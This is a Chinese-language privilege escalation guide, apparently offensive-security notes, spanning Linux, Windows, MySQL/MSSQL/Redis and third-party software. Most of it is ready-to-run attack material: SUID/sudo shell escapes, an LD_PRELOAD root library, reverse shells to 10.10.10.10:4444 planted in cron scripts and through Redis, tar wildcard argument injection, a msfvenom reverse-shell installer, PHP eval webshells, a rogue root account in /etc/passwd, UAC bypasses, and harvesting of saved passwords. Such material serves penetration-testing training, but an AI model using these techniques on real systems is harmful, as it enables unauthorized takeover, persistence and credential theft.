提权技术

操作系统提权

Linux 提权

信息收集

提权的第一步是全面了解目标系统的情况,从中寻找可用的提权面。常用的手工收集命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# 内核版本与系统架构
uname -a
cat /proc/version
cat /etc/*-release

# 当前用户身份与所属组
id
whoami

# 当前用户被允许的 sudo 命令
sudo -l

# 用户与登录信息
cat /etc/passwd
cat /etc/shadow # 通常只有 root 可读
last
w

# 计划任务
crontab -l
cat /etc/crontab
ls -al /etc/cron* 2>/dev/null

# SUID/SGID 文件
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# 特殊 capabilities
getcap -r / 2>/dev/null

# 全局可写的目录与文件
find / -writable -type d 2>/dev/null

# 网络与进程
netstat -antup
ps aux

手工收集效率较低,实战中通常配合自动化枚举脚本,上传执行后按输出逐项排查:

工具 说明
linpeas.sh PEASS 家族的 Linux 版本,输出着色分级,覆盖面最全
linux-smart-enumeration(lse.sh) 按”确定性”分级输出,噪音较少
linux-exploit-suggester 根据内核版本直接匹配可能可用的内核 exp
LinEnum 老牌枚举脚本,输出信息量大

内核漏洞提权

内核漏洞提权的思路是:先通过 uname -a 确认内核版本,再寻找影响该版本的公开 exp。本地检索可以使用 searchsploit:

1
2
3
4
searchsploit linux kernel 4.4
searchsploit -m 40839 # 将指定 exp 复制到当前目录
gcc 40839.c -o exploit -pthread
./exploit

代表性的内核提权漏洞:

漏洞 CVE 编号 影响范围 说明
DirtyCow CVE-2016-5195 内核 2.6.22 ~ 4.8.3 写时复制(COW)竞争条件,可写只读内存映射,影响面极广
PwnKit CVE-2021-4034 polkit 2009 年以来的绝大多数发行版 pkexec 本地提权,利用稳定,命中率极高
DirtyPipe CVE-2022-0847 内核 5.8 ~ 5.16.11 管道缓冲区标志位缺陷,可覆写只读文件(如 /etc/passwd)
OverlayFS CVE-2021-3493 Ubuntu 特定内核 overlayfs 未正确校验 capabilities,可写特权文件

注意事项:

  • 内核 exp 的稳定性参差不齐,运行失败可能直接导致内核 panic、机器重启,生产环境慎用,先在同等版本的环境中测试。
  • 部分 exp 依赖 gcc 在目标上编译,目标没有编译器时可先在本地同版本环境交叉编译再上传。
  • 优先尝试有”不宕机”口碑的 exp(如 PwnKit、DirtyPipe),DirtyCow 类竞争型 exp 放到最后。

SUID/SGID 提权

SUID 位的作用是让普通用户以文件属主的身份执行程序。若某个 SUID 程序的属主是 root 且该程序存在执行外部命令的能力,就可以借此拿到 root shell。

排查命令:

1
2
3
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null # 等价写法
find / -perm -g=s -type f 2>/dev/null # SGID

SUID 以属主身份运行,SGID 以属组身份运行,思路一致,只是 SGID 拿到的一般是属组权限而非直接 root。

拿到 SUID 程序列表后,到 GTFOBins 查询对应程序的提权用法。常见示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# find:对搜索结果执行任意命令
find . -exec /bin/sh -p \; -quit

# vim:在 vim 内执行 shell
vim -c ':!/bin/sh'

# nmap 老版本(2.02 ~ 5.21)的交互模式
nmap --interactive
nmap> !sh

# awk:BEGIN 块中执行系统命令
awk 'BEGIN {system("/bin/sh")}'

# cp:复制一个带 SUID 的 bash 备用
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
/tmp/rootbash -p

注意 bash、dash 等 shell 启动时会主动降权(有效 UID 回落到真实 UID),因此很多场景需要加 -p 参数保留特权。

sudo 配置不当

sudo -l 用于查看当前用户被允许以谁的身份执行哪些命令,输出形如:

1
2
3
User test may run the following commands on host:
(ALL : ALL) /usr/bin/vim
(ALL, !root) /bin/bash

解读要点:括号内是”可以以谁的身份执行”,后面是允许执行的命令。若允许执行的程序在 GTFOBins 上有 sudo 条目,即可直接提权:

1
2
3
4
sudo find . -exec /bin/sh \; -quit
sudo vim -c ':!/bin/sh'
sudo awk 'BEGIN {system("/bin/sh")}'
sudo less /etc/profile # 进入 less 后输入 !sh

此外需要关注 sudo 自身的版本漏洞(sudo -V 查看版本):

漏洞 CVE 编号 影响版本 利用方式
sudo 用户 ID 解析绕过 CVE-2019-14287 < 1.8.28 sudoers 配置 (ALL, !root) 时,sudo -u#-1 id 可绕过限制拿到 root
Baron Samedit CVE-2021-3156 1.8.2 ~ 1.9.5p1 sudoedit 堆溢出,默认配置下即可本地提权

还有一种情况是 sudo -l 显示 env_keep+=LD_PRELOAD,此时可以编译一个带 _init 构造函数的共享对象,通过环境变量注入实现提权:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setuid(0);
system("/bin/bash -p");
}
1
2
gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so <允许的程序>

计划任务与脚本劫持

先枚举系统中的计划任务:

1
2
3
cat /etc/crontab
ls -al /etc/cron.d/ /var/spool/cron/
crontab -l

针对 root 执行的计划任务,常见的劫持思路有三种:

  1. 脚本可写:root 的 cron 调用的脚本若对当前用户可写,直接向其中追加反弹 shell 或提权命令,等待 cron 触发。
1
2
ls -l /opt/backup.sh
echo "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" >> /opt/backup.sh
  1. PATH 劫持:crontab 顶部定义的 PATH 中若包含当前用户可写的目录,且任务使用相对路径调用命令(如 tar 而非 /bin/tar),则在可写目录中放置同名恶意程序即可被优先执行。
1
2
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /writable/dir/tar
chmod +x /writable/dir/tar
  1. 通配符注入:cron 中存在类似 tar -zcf /backup/home.tgz * 的命令时,通配符展开的文件名会被当作 tar 的参数解析。在被打包目录中放置特殊文件名的文件即可执行任意命令:
1
2
3
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > "--checkpoint=1"

其他常见提权面

除上述四大类外,还有一些值得顺手检查的点:

  • /etc/passwd 可写:直接构造一条密码记录追加进去,即可获得一个 root 权限的新账号。
1
2
3
openssl passwd -1 -salt abc 123456
echo 'hacker:$1$abc$xxxx:0:0::/root:/bin/bash' >> /etc/passwd
su hacker
  • NFS no_root_squashshowmount -e <目标IP> 查看共享目录,若导出选项带 no_root_squash,挂载后在其中放置 SUID bash,回到目标上执行即可提权。

  • Capabilitiesgetcap -r / 2>/dev/null 发现带有 cap_setuid 等危险能力的程序时可直接利用,例如 python 带 cap_setuid:

1
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
  • Docker/LXD 组:当前用户在 docker 组中时,可通过挂载宿主机根目录的容器逃逸到 root:
1
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Windows 提权

信息收集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
:: 系统版本与补丁情况(判断内核漏洞的关键依据)
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn

:: 当前用户身份、所属组与特权
whoami /all
whoami /priv

:: 用户与管理员组
net user
net localgroup administrators

:: 进程与服务
tasklist /svc
sc query

自动化枚举工具:

工具 说明
winPEAS PEASS 家族的 Windows 版本,枚举面最全,有 exe 与 bat 两个版本
PowerUp PowerSploit 组件,Invoke-AllChecks 专查常见配置错误
Sherlock 根据补丁情况匹配本地提权漏洞(已停止更新,仅适合老系统)
WES-NG Sherlock 的替代品,离线漏洞库持续更新,wes.py sysinfo.txt 即可

内核漏洞提权

Windows 内核提权的标准流程是:导出 systeminfo 结果,用 WES-NG 在本地离线比对补丁,找出缺失补丁对应的可用 exp:

1
2
:: 目标上执行
systeminfo > sysinfo.txt
1
2
# 攻击机上执行
python wes.py sysinfo.txt

代表性的 Windows 内核/系统提权漏洞:

漏洞 CVE 编号 影响范围 说明
辅助登录句柄泄露 MS16-032 Win 7 ~ 10、2008 ~ 2012(未打补丁) 经典本地提权,PowerShell 即可利用
PrintNightmare CVE-2021-34527 几乎所有开启 Spooler 服务的 Windows 打印后台处理程序 RCE/LPE,域环境杀伤力大
HiveNightmare(SeriousSAM) CVE-2021-36934 Win 10 1809+ / Server 2019+ SAM 文件卷影副本可被普通用户读取,提取哈希后提权
RPC 本地提权 CVE-2022-26904 Win 10/11、Server 2019/2022 UserProfileService 竞争条件提权

服务配置错误

1. 未加引号的服务路径(Unquoted Service Path)

服务路径包含空格且没有用引号包裹时,Windows 会按空格逐段尝试解析。例如路径为 C:\Program Files\Some Folder\service.exe 时,系统会依次尝试执行 C:\Program.exeC:\Program Files\Some.exe。若前置目录可写,放置同名恶意程序即可在服务重启时以 SYSTEM 权限执行。

排查命令:

1
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

检查目录写权限并放置 payload:

1
2
3
4
icacls "C:\Program Files"
:: 生成 Program.exe 放到 C:\ 下,随后重启服务
sc stop <服务名>
sc start <服务名>

2. 服务二进制文件弱权限

服务对应的 exe 文件若对普通用户可写(icacls 显示 Users 组有 F 或 M 权限),直接替换为恶意程序即可。可用 accesschk 批量排查:

1
2
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
icacls "C:\path\to\service.exe"

3. 服务配置项可修改

若当前用户对服务拥有 SERVICE_CHANGE_CONFIG 权限(PowerUp 的 Get-ModifiableService 可查),可以直接改写服务的 binpath:

1
2
3
sc config <服务名> binpath= "net user hacker P@ssw0rd /add"
sc config <服务名> binpath= "net localgroup administrators hacker /add"
sc stop <服务名> && sc start <服务名>

AlwaysInstallElevated

若组策略中 HKLM 与 HKCU 两处都将 AlwaysInstallElevated 置为 1,则任何 msi 安装包都会以 SYSTEM 权限安装。检查命令:

1
2
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

两处均返回 0x1 时,生成恶意 msi 安装即可提权:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f msi -o evil.msi
1
msiexec /quiet /qn /i C:\evil.msi

Token 窃取与模拟

Windows 中,持有 SeImpersonatePrivilege(模拟特权)的进程可以模拟客户端的访问令牌。服务账户(IIS 应用池、MSSQL 服务、本地服务/网络服务等)默认就带有该特权,因此拿到 WebShell 或服务权限后常用 Potato 系列提权到 SYSTEM。先用 whoami /priv 确认特权存在:

1
SeImpersonatePrivilege        Impersonate a client after authentication        Enabled

Potato 家族的演进与适用场景:

工具 适用系统 说明
RottenPotato Win 7 / 2008 早期版本,配合 meterpreter 的 incognito 使用
JuicyPotato Win 7 ~ 10、2008 ~ 2016 滥用 BITS 的 COM CLSID,需要 SeImpersonate 特权
RoguePotato Win 10 / 2016+ 配合 OXID 解析转发,用于无本地提权通道的场景
PrintSpoofer Win 10 / Server 2019 利用打印服务命名管道,稳定且无需 COM
GodPotato Win 8/2012 ~ Win 11/2022 基于 DCOM,适用面最广,目前最常用
SweetPotato Win 7 ~ 11 集合多种触发方式的综合体

meterpreter 中还可以直接用 incognito 模块枚举并模拟登录用户的令牌:

1
2
3
load incognito
list_tokens -u
impersonate_token "NT AUTHORITY\\SYSTEM"

UAC 绕过

UAC 绕过不是从普通用户到 SYSTEM,而是从中完整性(Medium)管理员到高完整性(High)管理员。常用思路是利用自动提权(autoElevate)的白名单程序,通过注册表劫持其执行内容。

1. fodhelper(Win 10)

fodhelper.exe 启动时会读取 HKCU\Software\Classes\ms-settings\Shell\Open\command,劫持该键值即可让 fodhelper 以高完整性执行任意命令:

1
2
3
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe /c C:\payload.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /f
C:\Windows\System32\fodhelper.exe

2. computerdefaults(Win 10):同样劫持 ms-settings 键,随后运行 computerdefaults.exe

3. eventvwr(Win 7 / 8):劫持 HKCU\Software\Classes\mscfile\shell\open\command,随后运行 eventvwr.exe

4. DLL 劫持:autoElevate 程序加载的 DLL 若从可写目录搜索,放置同名恶意 DLL 即可在高完整性进程中执行代码。可用 sigcheck 检查程序的 autoElevate 清单,配合 ProcMon 观察缺失的 DLL 加载路径。

其他常见提权面

  • 组策略首选项密码(GPP):域控 SYSVOL 共享中 Groups.xml 等文件可能残留以 AES 加密的本地管理员密码(cpassword 字段),由于微软公开了密钥,可直接解密:
1
gpp-decrypt <cpassword密文>
  • 无人值守安装残留:批量装机使用的 unattend.xmlsysprep.inf 中可能明文保存管理员密码,常见路径有 C:\Windows\Panther\Unattend.xmlC:\Windows\Panther\Unattend\Unattend.xmlC:\Windows\System32\sysprep\sysprep.inf
  • PATH 中的可写目录echo %PATH% 中出现当前用户可写的目录时,向其中投放被高权限进程调用的程序即可劫持执行。

数据库提权

MySQL 提权

UDF 提权

UDF(User Defined Function,用户自定义函数)提权是 MySQL 提权最经典的方式:通过向 plugin 目录写入动态链接库(Linux 为 .so,Windows 为 .dll),注册一个能执行系统命令的函数,从而以 MySQL 服务账户的权限执行命令。MySQL 常以 root/SYSTEM 等高权限运行,因此可直接获得高权限。

前提条件:需要 root 账号(有 insert、delete、create 权限),且 secure_file_priv 允许文件导出:

1
2
3
4
5
6
-- 检查导出限制:为空表示无限制;为路径表示只能导出到该目录;为 NULL 表示禁止导出
show global variables like '%secure_file_priv%';

-- 确认 plugin 目录与目标架构
select @@plugin_dir;
select @@version_compile_os, @@version_compile_machine;

利用步骤(以 Linux 为例,udf.so 可在 sqlmap 的 data/udf/mysql/ 目录找到,需先解码):

1
2
3
4
5
6
7
8
-- 1. 将动态链接库写入 plugin 目录
select load_file('/tmp/udf.so') into dumpfile '/usr/lib/mysql/plugin/udf.so';

-- 2. 注册执行系统命令的函数
create function sys_exec returns string soname 'udf.so';

-- 3. 执行系统命令
select sys_exec('id');

无法直连数据库时,也可将 .so 文件转为十六进制,通过 select 0x<hex> into dumpfile '...' 写入。

MOF 提权(Windows 老版本)

MOF 是 Windows 的托管对象格式文件,放入 C:/Windows/System32/wbem/mof/ 目录后会被系统以 SYSTEM 权限定时编译执行。利用方式是将包含恶意命令的 mof 文件通过 into dumpfile 写入该目录。该方法仅适用于 Win 2003 时代,2008 之后该目录默认只有管理员可写,已较少使用。

写文件类提权

secure_file_priv 为空且知道站点路径时,可直接写 webshell 或启动项:

1
2
3
4
5
-- 写 webshell
select '<?php eval($_POST["cmd"]);?>' into outfile '/var/www/html/shell.php';

-- Windows 写启动目录,重启后以登录用户权限执行
select load_file('/tmp/payload.exe') into dumpfile 'C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/payload.exe';

MSSQL 提权

xp_cmdshell

xp_cmdshell 扩展存储过程可直接执行系统命令,权限为 MSSQL 服务账户(常为 SYSTEM)。需要 sa 或具备相应权限的账号,默认关闭,需手动开启:

1
2
3
4
5
6
7
8
-- 开启 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- 执行系统命令
EXEC master..xp_cmdshell 'whoami';

沙盒模式提权

当 xp_cmdshell 被删除或禁用时,可通过修改注册表关闭 Jet 引擎的沙盒模式,再利用 openrowset 执行命令:

1
2
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("cmd /c whoami")');

此外 sp_OACreate/sp_OAMethod 组合可调用 WScript.Shell 等 COM 对象执行命令或写文件,也是常见的备用通道。

Redis 提权

Redis 提权主要利用未授权访问或弱口令拿到 Redis 控制权后,通过 config set 修改持久化目录,把数据写到敏感位置。

1
redis-cli -h 192.168.1.100        # 未授权访问直接连接

1. 写 webshell(知道 Web 目录时):

1
2
3
4
config set dir /var/www/html
config set dbfilename shell.php
set x "\n\n<?php eval($_POST['cmd']);?>\n\n"
save

2. 写 SSH 公钥(Redis 以 root 运行时):

1
2
3
4
5
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAA... hacker@kali\n\n\n"
save
ssh root@192.168.1.100

3. 写计划任务(写入时注意前后补换行,防止 cron 解析失败):

1
2
3
4
config set dir /var/spool/cron
config set dbfilename root
set x "\n\n*/1 * * * * bash -i >& /dev/tcp/10.10.10.10/4444 0>&1\n\n"
save

4. 主从复制加载模块 RCE:Redis 4.x/5.x 中,攻击者搭建恶意主节点,让目标执行 slaveof 同步恶意模块文件,再通过 module load 加载实现命令执行。现有成熟工具(如 redis-rogue-server)可一键利用,是对付有密码但版本较老的 Redis 的首选。

应用程序提权

第三方服务软件提权

服务器上安装的第三方服务软件常以高权限运行,且各自存在历史提权漏洞或弱配置:

  • Serv-U:老版本默认开放本地管理端口 43958,内置管理账号 LocalAdministrator、密码 #l@$ak#.lk;0@P,且 Serv-U 以 SYSTEM 运行。拿到低权限 shell 后可通过该端口执行 FTP 命令完成提权(也有多个版本的本地提权 exp)。
  • VNC:RealVNC/UltraVNC/TightVNC 的连接口令以可逆方式加密存储在注册表(如 HKLM\SOFTWARE\RealVNC\vncserver\Password),可解密后连接受控桌面,很多情况下桌面会话就是管理员。
  • Radmin:密码哈希存于注册表,可提取后破解或直接哈希传递连接。
  • PcAnywhere、TeamViewer 等远程管理软件同理,重点排查其配置文件与注册表凭据。

本机凭据收集

运维人员在本机客户端软件中保存的凭据,往往是通往高权限账号(域管、数据库 root)的捷径,拿下主机后应系统性地翻找:

软件 凭据位置 说明
浏览器 Chrome Login Data 数据库 + Local State 中的主密钥 主密钥由 DPAPI 保护,可用 HackBrowserData、SharpChrome 一键导出
FileZilla sitemanager.xmlrecentservers.xml 密码明文或 Base64 存储,直接可读
XShell/Xftp Sessions 目录下的 .xsh/.xfp 文件 密码加密存储,可用 Xdecrypt、SharpXDecrypt 解密
Navicat 注册表 HKCU\Software\PremiumSoft 密码可逆加密,有公开的解密脚本
WinSCP 注册表或 WinSCP.ini 可用自带功能或脚本解密

收集到的凭据一方面可能直接就是本机/域内高权限账号,另一方面可用于密码复用,横向攻击其他主机,实现从单机提权到域内提权的跨越。